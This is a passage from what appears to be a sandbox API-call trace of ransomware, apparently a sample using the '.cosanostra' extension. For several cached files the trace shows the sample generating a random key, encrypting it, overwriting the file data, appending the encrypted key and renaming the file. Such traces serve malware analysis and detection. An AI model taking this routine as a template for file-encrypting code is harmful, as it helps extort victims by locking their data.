HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852.cosanostra") returned 163 [0102.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\b3bb9c1ba2d19e090ae305b2683903a0_6f0a84ce2ba99bd19d42c92610275852"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\b3bb9c1ba2d19e090ae305b2683903a0_6f0a84ce2ba99bd19d42c92610275852.cosanostra")) returned 1 [0102.153] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff280 | out: pbBuffer=0x26ff280) returned 1 [0102.153] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff278*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff278*=0x30) returned 1 [0102.153] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\acf244f1a10d4dbed0d88eba0c43a9b5_ba1ab6c2bdfdf57799e8116e4002d001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.155] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned 152 [0102.155] StrStrW (lpFirst="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpSrch=".txt") returned 0x0 [0102.156] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffe14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.156] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1ec, lpNumberOfBytesWritten=0x26ff23c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff23c*=0x1ec, lpOverlapped=0x0) returned 1 [0102.157] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.157] WriteFile (in: hFile=0x160, lpBuffer=0x26ff27c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff23c, lpOverlapped=0x0 | out: lpBuffer=0x26ff27c*, lpNumberOfBytesWritten=0x26ff23c*=0x4, lpOverlapped=0x0) returned 1 [0102.157] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff23c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff23c*=0x30, lpOverlapped=0x0) returned 1 [0102.157] CloseHandle (hObject=0x160) returned 1 [0102.157] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001.cosanostra") returned 163 [0102.157] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\acf244f1a10d4dbed0d88eba0c43a9b5_ba1ab6c2bdfdf57799e8116e4002d001"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\acf244f1a10d4dbed0d88eba0c43a9b5_ba1ab6c2bdfdf57799e8116e4002d001.cosanostra")) returned 1 [0102.159] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff280 | out: pbBuffer=0x26ff280) returned 1 [0102.159] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff278*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff278*=0x30) returned 1 [0102.159] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\a9e4f776657345b52012ce8e279d314c_183a5be0b233cc1d513955fabecf9450"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.160] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned 152 [0102.160] StrStrW (lpFirst="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpSrch=".txt") returned 0x0 [0102.161] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffe52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.161] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1ae, lpNumberOfBytesWritten=0x26ff23c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff23c*=0x1ae, lpOverlapped=0x0) returned 1 [0102.161] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.161] WriteFile (in: hFile=0x160, lpBuffer=0x26ff27c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff23c, lpOverlapped=0x0 | out: lpBuffer=0x26ff27c*, lpNumberOfBytesWritten=0x26ff23c*=0x4, lpOverlapped=0x0) returned 1 [0102.161] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff23c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff23c*=0x30, lpOverlapped=0x0) returned 1 [0102.161] CloseHandle (hObject=0x160) returned 1 [0102.162] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450.cosanostra") returned 163 [0102.162] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\a9e4f776657345b52012ce8e279d314c_183a5be0b233cc1d513955fabecf9450"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\a9e4f776657345b52012ce8e279d314c_183a5be0b233cc1d513955fabecf9450.cosanostra")) returned 1 [0102.163] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff278 | out: pbBuffer=0x26ff278) returned 1 [0102.163] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff270*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff270*=0x30) returned 1 [0102.163] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9c888beabccbc2a97b0d6d9214c3ba37_ebc75728c6119a77e4da8559dd10f061"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.165] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned 152 [0102.165] StrStrW (lpFirst="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpSrch=".txt") returned 0x0 [0102.165] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffe7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.165] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x26ff234, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff234*=0x182, lpOverlapped=0x0) returned 1 [0102.166] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.166] WriteFile (in: hFile=0x160, lpBuffer=0x26ff274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff234, lpOverlapped=0x0 | out: lpBuffer=0x26ff274*, lpNumberOfBytesWritten=0x26ff234*=0x4, lpOverlapped=0x0) returned 1 [0102.166] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff234, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff234*=0x30, lpOverlapped=0x0) returned 1 [0102.166] CloseHandle (hObject=0x160) returned 1 [0102.166] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061.cosanostra") returned 163 [0102.166] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9c888beabccbc2a97b0d6d9214c3ba37_ebc75728c6119a77e4da8559dd10f061"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9c888beabccbc2a97b0d6d9214c3ba37_ebc75728c6119a77e4da8559dd10f061.cosanostra")) returned 1 [0102.167] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff278 | out: pbBuffer=0x26ff278) returned 1 [0102.167] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff270*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff270*=0x30) returned 1 [0102.167] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9c888beabccbc2a97b0d6d9214c3ba37_1213dc6f71e4c3b05e7bceebc203a31e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.168] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned 152 [0102.219] StrStrW (lpFirst="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpSrch=".txt") returned 0x0 [0102.249] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffe7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.249] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x26ff234, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff234*=0x182, lpOverlapped=0x0) returned 1 [0102.249] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.249] WriteFile (in: hFile=0x160, lpBuffer=0x26ff274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff234, lpOverlapped=0x0 | out: lpBuffer=0x26ff274*, lpNumberOfBytesWritten=0x26ff234*=0x4, lpOverlapped=0x0) returned 1 [0102.249] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff234, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff234*=0x30, lpOverlapped=0x0) returned 1 [0102.249] CloseHandle (hObject=0x160) returned 1 [0102.250] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E.cosanostra") returned 163 [0102.250] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9c888beabccbc2a97b0d6d9214c3ba37_1213dc6f71e4c3b05e7bceebc203a31e"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9c888beabccbc2a97b0d6d9214c3ba37_1213dc6f71e4c3b05e7bceebc203a31e.cosanostra")) returned 1 [0102.306] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff270 | out: pbBuffer=0x26ff270) returned 1 [0102.306] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff268*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff268*=0x30) returned 1 [0102.306] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\1daf2884ec4dfa96ba4a58d4dbc9c406"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.307] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned 119 [0102.307] StrStrW (lpFirst="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpSrch=".txt") returned 0x0 [0102.308] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffef4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.308] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x26ff22c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff22c*=0x10c, lpOverlapped=0x0) returned 1 [0102.308] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.308] WriteFile (in: hFile=0x160, lpBuffer=0x26ff26c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff22c, lpOverlapped=0x0 | out: lpBuffer=0x26ff26c*, lpNumberOfBytesWritten=0x26ff22c*=0x4, lpOverlapped=0x0) returned 1 [0102.308] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff22c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff22c*=0x30, lpOverlapped=0x0) returned 1 [0102.308] CloseHandle (hObject=0x160) returned 1 [0102.309] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406.cosanostra") returned 130 [0102.309] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\1daf2884ec4dfa96ba4a58d4dbc9c406"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\1daf2884ec4dfa96ba4a58d4dbc9c406.cosanostra")) returned 1 [0102.309] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff270 | out: pbBuffer=0x26ff270) returned 1 [0102.309] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff268*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff268*=0x30) returned 1 [0102.310] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\1bb09beec155258835c193a7aa85aa5b_a7b2b53af2a12e2cb0a41b96d21d7973"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.348] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned 152 [0102.348] StrStrW (lpFirst="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpSrch=".txt") returned 0x0 [0102.348] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.348] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x194, lpNumberOfBytesWritten=0x26ff22c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff22c*=0x194, lpOverlapped=0x0) returned 1 [0102.349] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.349] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff26c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff22c, lpOverlapped=0x0 | out: lpBuffer=0x26ff26c*, lpNumberOfBytesWritten=0x26ff22c*=0x4, lpOverlapped=0x0) returned 1 [0102.349] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff22c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff22c*=0x30, lpOverlapped=0x0) returned 1 [0102.349] CloseHandle (hObject=0x15c) returned 1 [0102.349] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973.cosanostra") returned 163 [0102.349] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\1bb09beec155258835c193a7aa85aa5b_a7b2b53af2a12e2cb0a41b96d21d7973"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\1bb09beec155258835c193a7aa85aa5b_a7b2b53af2a12e2cb0a41b96d21d7973.cosanostra")) returned 1 [0102.350] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff268 | out: pbBuffer=0x26ff268) returned 1 [0102.350] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff260*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff260*=0x30) returned 1 [0102.350] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\0f1583fff42fff476a09801acb69213f_e3f4a8c96454d7d3441d2c1bce81f875"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.351] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 152 [0102.351] StrStrW (lpFirst="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpSrch=".txt") returned 0x0 [0102.352] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe9a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.352] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x166, lpNumberOfBytesWritten=0x26ff224, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff224*=0x166, lpOverlapped=0x0) returned 1 [0102.352] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.352] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff264*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff224, lpOverlapped=0x0 | out: lpBuffer=0x26ff264*, lpNumberOfBytesWritten=0x26ff224*=0x4, lpOverlapped=0x0) returned 1 [0102.352] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff224, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff224*=0x30, lpOverlapped=0x0) returned 1 [0102.352] CloseHandle (hObject=0x15c) returned 1 [0102.352] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875.cosanostra") returned 163 [0102.352] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" (normalized: "c:\\users\\5p5nrgjn0js 